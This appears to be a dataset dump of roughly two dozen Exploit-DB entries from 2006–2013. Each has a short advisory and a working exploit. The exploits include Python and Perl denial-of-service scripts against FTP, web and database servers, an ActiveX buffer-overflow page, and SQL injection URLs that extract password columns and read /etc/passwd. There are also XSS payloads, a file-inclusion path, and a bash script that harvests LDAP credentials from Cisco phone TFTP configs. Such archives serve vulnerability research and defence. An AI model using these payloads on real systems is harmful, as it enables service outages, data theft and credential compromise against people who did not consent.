QLWD/code_shield huggingface dataset:
标题: Conti FTP Server 1.0 - Large String Denial of Service EDB-ID: 30252 CVE: 2007-3492 类型: DOS 平台: WINDOWS 发布日期: 2007-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/24672/info

The Conti FTP Server is prone to a denial-of-service vulnerability.

A remote attacker may be able to exploit this issue to deny service to legitimate users of the application. 

#Conti FTP Server v1.0 Denial of Service
#author: 35c666
#contact: :(
#Download:
http://www.procesualitatea.ro/bestplay/Conti_FtpServer_Setup.exe
#Bug: Conti Ftp Server crashes when a large //A: string is sent,
denying legitimate users access to their accounts.
#greetz to all  RST members at http://rstzone.net

# usr/bin/python

import socket
import time

buff = "//A:"

user = "test"
password = "test"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("172.16.112.129",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER %s\r\n' % user)
   print "Client -> USER " + user
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS %s\r\n' % password)
   print "Client -> PASS " + password
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('LIST %s\r\n' % buff)
   print "Client -> LIST " + buff
   d = s.recv(1024)
   print d
   time.sleep(2)

except:
   print "- Nu m-am putut conecta." URL: https://www.exploit-db.com/exploits/30252
标题: ETicket 1.5.5 - 'Open.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30253 CVE: 2007-2801 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/24681/info

eTicket is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect eTicket 1.5.5 and 1.5.5.1; other versions may also be affected.

http://www.example.com/open.php?err=[xss]
http://www.example.com/open.php?warn=[xss] URL: https://www.exploit-db.com/exploits/30253
标题: HP Instant Support - ActiveX Control Driver Check Buffer Overflow EDB-ID: 30257 CVE: 2007-3554 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24730/info

HP Instant Support ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows remote attackers to execute arbitrary code in the context of applications using the affected ActiveX control and possibly to compromise affected computers. 

 <html>
 <object classid='clsid:156BF4B7-AE3A-4365-BD88-95A75AF8F09D' id='test'></object>
  <script language = 'vbscript'>
   
   buff             = String(222, "A")

   get_EBP          = "cccc"

   get_EIP          = unescape("aaaa")

   buf1             = unescape("bbbb")

   second_exception = unescape("%00%00%92%00")

   first_exception  = unescape("%00%00%92%00")

   buf2             = String(4000, "B")

   egg              = buff + get_EBP + get_EIP + buf1 + second_exception + first_exception + buf2

   test.queryHub egg
 
 </script>
</html> URL: https://www.exploit-db.com/exploits/30257
标题: Oracle Rapid Install Web Server - Secondary Login Page Cross-Site Scripting EDB-ID: 30256 CVE: 2007-3553 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24697/info

Oracle Rapid Install Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to inject HTML and script code into the browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials and launch other attacks.

http://www.example.com:8004/pls/MSBEP004/<script>alert("XSS")</script>

http://www.example.com:8004/pls/<script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/30256
标题: Calendarix 0.7.20070307 - Multiple SQL Injections EDB-ID: 30234 CVE: 2007-3183 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24633/info

Calendarix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Calendarix 0.7.20070307; other versions may also be affected. 

http://www.example.com/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23

http://www.example.com/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23 URL: https://www.exploit-db.com/exploits/30234
标题: GD Graphics Library 2.0.34 - 'libgd' gdImageCreateXbm Function Unspecified Denial of Service EDB-ID: 30251 CVE: 2007-3473 类型: DOS 平台: LINUX 发布日期: 2007-06-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/24651/info

The GD graphics library is prone to multiple vulnerabilities.

An attacker can exploit this issue to cause denial-of-service conditions or execute arbitrary code in the context of applications implementing the affected library.

Version prior to GD graphics library 2.0.35 are reported vulnerable. 

#include "gd.h"

int main() {
    FILE *fp = fopen("./x.xbm", "w+");

    fprintf(fp, "#define width 255\n#define height 1073741824\nstatic unsigned char bla = {\n");

    fseek(fp, 0, SEEK_SET);

    gdImageCreateFromXbm(fp);

} URL: https://www.exploit-db.com/exploits/30251
标题: MyNews 0.10 - AuthACC SQL Injection EDB-ID: 30230 CVE: 2007-2520 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24621/info

MyNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects MyNews 0.10; other versions may also be vulnerable. 

To exploit this issue, modify the following cookie variable: authacc = "' OR `row_id`=1 UNION SELECT * FROM `sessions` WHERE '1%3A1%3A1%3A1%3AAdmin" URL: https://www.exploit-db.com/exploits/30230
标题: Cisco Unified Communications Manager - TFTP Service EDB-ID: 30237 CVE: 2013-7030 类型: LOCAL 平台: HARDWARE 发布日期: 2013-12-12 漏洞利用脚本: #!/bin/bash
#######################################################################
# Proof of Concept on how to get tftp config files from cisco phones  #
# This can be performed anonymously and privileges gathered relies on #
# those assigned to the ldap account                                  #
# Developed by Daniel Svartman  (danielsvartman@gmail.com             #
# In case tftp files are encrypted, you will need to hijack a phone   #
# and download the decryption key from the ROM memory                 #
#######################################################################                               

# This example below is for enumerating and downloading configuration files from phones
# With this you can gather personal information and sometimes also credentials from LDAP
# The first 8 digits of the MAC address relies on cisco mac address used by phones
# While the last 4 are generated automatically

BASE_MAC=$1
TFTP_SERVER=$2

perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt

#Now we should download the files
while read LINE; do
 tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt

#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential"  SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do 
   if [ "$LINE" = "<ProductType>Directory" ]; then
    read LINE
    ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`
    echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
   fi
done < SPDefault.cnf.xml

echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials" URL: https://www.exploit-db.com/exploits/30237
标题: DUClassmate 1.x - 'ICity' SQL Injection EDB-ID: 30250 CVE: 2006-6355 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24637/info

DUClassmate is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/default.asp?iCity=[SQL Injection] URL: https://www.exploit-db.com/exploits/30250
标题: Calendarix 0.7.20070307 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30232 CVE: 2007-3182 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24626/info

Calendrix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Calendrix 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/30232
标题: Key Focus Web Server 3.1 - Index.WKF Cross-Site Scripting EDB-ID: 30231 CVE: 2007-3396 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24623/info

Key Focus Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Key Focus Web Server 3.1.0; other versions may also be affected. 

http://www.example.com:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%3Ealert('xss');%3C/script%3E URL: https://www.exploit-db.com/exploits/30231
标题: LiteWEB Web Server 2.7 - Invalid Page Remote Denial of Service EDB-ID: 30233 CVE: 2007-3398 类型: DOS 平台: WINDOWS 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24628/info

LiteWeb webserver is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying further service to legitimate users.

This issue affects LiteWeb 2.7; other versions may also be vulnerable. 

#!/usr/bin/perl
#GetOpt STD module
use IO::Socket;
use Getopt::Std;
getopts(":i:p:",\%args);
if(defined $args{i}){
$ip = $args{i};
}
if(defined $args{p}){
$port = $args{p};
}
if(!defined $args{i} or !defined $args{p}){
print "-----------------------------------------------------\n";
print "LiteWEB 2.7 404 Denial of Services\n";
print "info: if u send to the server more than 100 requests\nto nonexisting

pages the server will stop to answer\n";
print "Site: http://www.cmfperception.com/liteweb.html\n";
print "Found By Prili - imprili[at]gmail.com\n";
print "Usage: perl $0 -i <ip address> -p <port> \n";
print "-----------------------------------------------------\n";
exit;
}
$protocol = "tcp";
print "try surfing to the web server.\n";
while (1)
{
$request = "GET /AAAAAAA HTTP/1.0 \n\n";
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                               PeerPort=>$port,
                               Proto=>$protocol,
                               Timeout=>'1') || die "Can't connect to

address!\n";

print $socket $request;
close($socket);
} URL: https://www.exploit-db.com/exploits/30233
标题: SHTTPD 1.38 - Filename Parse Error Information Disclosure EDB-ID: 30229 CVE: 2007-3407 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/24618/info

SHTTPD is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to access sensitive information that may lead to further attacks.

This issue affects SHTTPD 1.38; other versions may also be affected.

http://www.example.com/test.php%20 URL: https://www.exploit-db.com/exploits/30229
标题: eNdonesia 8.4 - 'mod.php?viewarticle Action artid' SQL Injection EDB-ID: 30225 CVE: 2007-3394 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24590/info

eNdonesia is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.

eNdonesia 8.4 is vulnerable; other versions may also be affected.

http://www.example.com/mod.php?mod=katalog&op=viewlink&cid=-1+union+select+1,pwd,3+from+authors/*
http://www.example.com/mod.php?mod=katalog&op=viewlink&cid=-1+union+select+1,LOAD_FILE(0x2F6574632F706173737764),3+from+authors/*
http://www.example.com/mod.php?mod=diskusi&op=viewdisk&did=-9+union+select+1,2,aid,pwd,5,6,email+from+authors/*
http://www.example.com/mod.php?mod=publisher&op=viewarticle&cid=2&artid=-9+union+select+1,2,3,4,5,pwd,aid,email,9,0+from+authors/*
http://www.example.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors-- URL: https://www.exploit-db.com/exploits/30225
标题: NetClassifieds 1.9.7 - Multiple Input Validation Vulnerabilities EDB-ID: 30223 CVE: 2007-3354 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24584/info

NetClassifieds is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues and cross-site scripting issues.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NetClassifieds Free, Standard, Professional, and Premium editions are reported vulnerable. 

http://www.example.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/* URL: https://www.exploit-db.com/exploits/30223
标题: Apple WebCore - XMLHTTPRequest Cross-Site Scripting EDB-ID: 30228 CVE: 2007-2401 类型: REMOTE 平台: OSX 发布日期: 2007-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24598/info

Apple WebCore is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may exploit this issue by enticing victims into visiting a malicious website.

The attacker may leverage this issue to execute arbitrary script code in an application using the affected framework (typically Safari). This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

xmlhttp.setRequestHeader('Foo', 'baa\nHost: test\n');

The above request is treated as valid and results in:

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en
Foo: baa
Host: test URL: https://www.exploit-db.com/exploits/30228
标题: MyServer 0.9.8 - Post.MSCGI Cross-Site Scripting EDB-ID: 30222 CVE: 2007-3364 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24583/info

MyServer is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyServer 0.8.9 is vulnerable; other versions may also be affected. 

http://localhost/cgi-bin/post.mscgi Post:<script>alert('xss');</script> URL: https://www.exploit-db.com/exploits/30222
标题: MyServer 0.8.9 - Filename Parse Error Information Disclosure EDB-ID: 30219 CVE: 2007-3365 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24571/info

MyServer is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to access sensitive information that may lead to further attacks.

This issue affects MyServer 0.8.9; other versions may also be affected.

http://www.example.com/cgi-bin/post.mscgI (Note: Capital 'I' at the end of the URI) URL: https://www.exploit-db.com/exploits/30219
标题: eNdonesia 8.4 - 'banners.php?click Action bid' SQL Injection EDB-ID: 30226 CVE: 2007-3394 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/24590/info
 
eNdonesia is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database.
 
eNdonesia 8.4 is vulnerable; other versions may also be affected.

http://www.example.com/banners.php?op=click&bid=-9+union+select+pwd+from+authors/* URL: https://www.exploit-db.com/exploits/30226
标题: PHPAccounts 0.5 - 'index.php' Local File Inclusion EDB-ID: 30220 CVE: 2007-3346 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24572/info

PHP Accounts is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

PHP Accounts 0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=../../etc/passwd URL: https://www.exploit-db.com/exploits/30220
标题: FuseTalk 4.0 - 'AuthError.cfm' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30216 CVE: 2007-3339 类型: WEBAPPS 平台: CFM 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24564/info

FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_LINKP=[xss]

http://www.example.com/blog/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_URLP=[xss] URL: https://www.exploit-db.com/exploits/30216
标题: Ingress Database Server 2.6 - Multiple Remote Vulnerabilities EDB-ID: 30224 CVE: 2007-3334 类型: DOS 平台: WINDOWS 发布日期: 2007-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/24585/info

Ingress Database Server included in CA eTrust Secure Content Manager is prone to multiple remote vulnerabilities, including multiple stack- and heap-based buffer-overflow issues, multiple pointer-overwrite issues, and an arbitrary-file-overwrite issue.

Successful exploits will allow attackers to completely compromise affected computers, including executing arbitrary code with SYSTEM-level privileges and truncating the 'alarkp.def' file.

# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities
# Date: 2010-08-14
# Author: fdisk
# Version: 2.6
# Tested on: Windows 2003 Server SP1 en
# CVE:  CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338
# Notes: Fixed in the last version.
# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com>

import socket
import sys

if len(sys.argv) != 4:
    print "Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>"
    print "Vulnerable Services: iigcc, iijdbc"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
service = sys.argv[3]

if service == "iigcc":
        payload = "\x41" * 2106
elif service == "iijdbc":
        payload = "\x41" * 1066
else:
        print "Vulnerable Services: iigcc, iijdbc"
        sys.exit(1)

payload += "\x42" * 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "Sending payload"
s.send(payload)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

print service + " crashed" URL: https://www.exploit-db.com/exploits/30224
标题: eFront 3.6.14 (build 18012) - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 30213 CVE: 2013-7194 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-11 漏洞利用脚本: ###########################################################

Exploit-DB Note: Screenshot provided by exploit author.

###########################################################
[~] Exploit Title: eFront v3.6.14 (build 18012) -Stored XSS in multiple
Parameters
[~] Author: sajith
[~] version: eFront v3.6.14- build 18012
[~]Vendor Homepage: http://www.efrontlearning.net/
[~] vulnerable app link:http://www.efrontlearning.net/download
###########################################################



POC by sajith shetty:

[###]Log in with admin account and create new user

http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php?ctg=personal&user=root&op=profile&add_user=1

(Home � Users � Administrator S. (root) � New user)

Here "Last name" field is vulnerable to stored XSS [payload:"><img src=x
onerror=prompt(1);>  ]



[###]create new lesson option (
http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php
?

ctg=lessons&add_lesson=1) where "Lession name" is vulnerable to stored xss

[payload:"><img src=x onerror=prompt(1);>  ]



[###]create new courses option(
http://127.0.0.1/cms/efront_3.6.14_build18012_community/www/administrator.php
?

ctg=courses&add_course=1) where "Course name:" filed is vulnerable to
stored XSS URL: https://www.exploit-db.com/exploits/30213
标题: BugHunter HTTP Server 1.6.2 - Parse Error Information Disclosure EDB-ID: 30218 CVE: 2007-3327 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24566/info

BugHunter HTTP Server is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information. Information obtained may lead to further attacks.

This issue affects HTTP Server 1.6.2; other versions may also be affected. 

http://www.example.com/test.htm%20 URL: https://www.exploit-db.com/exploits/30218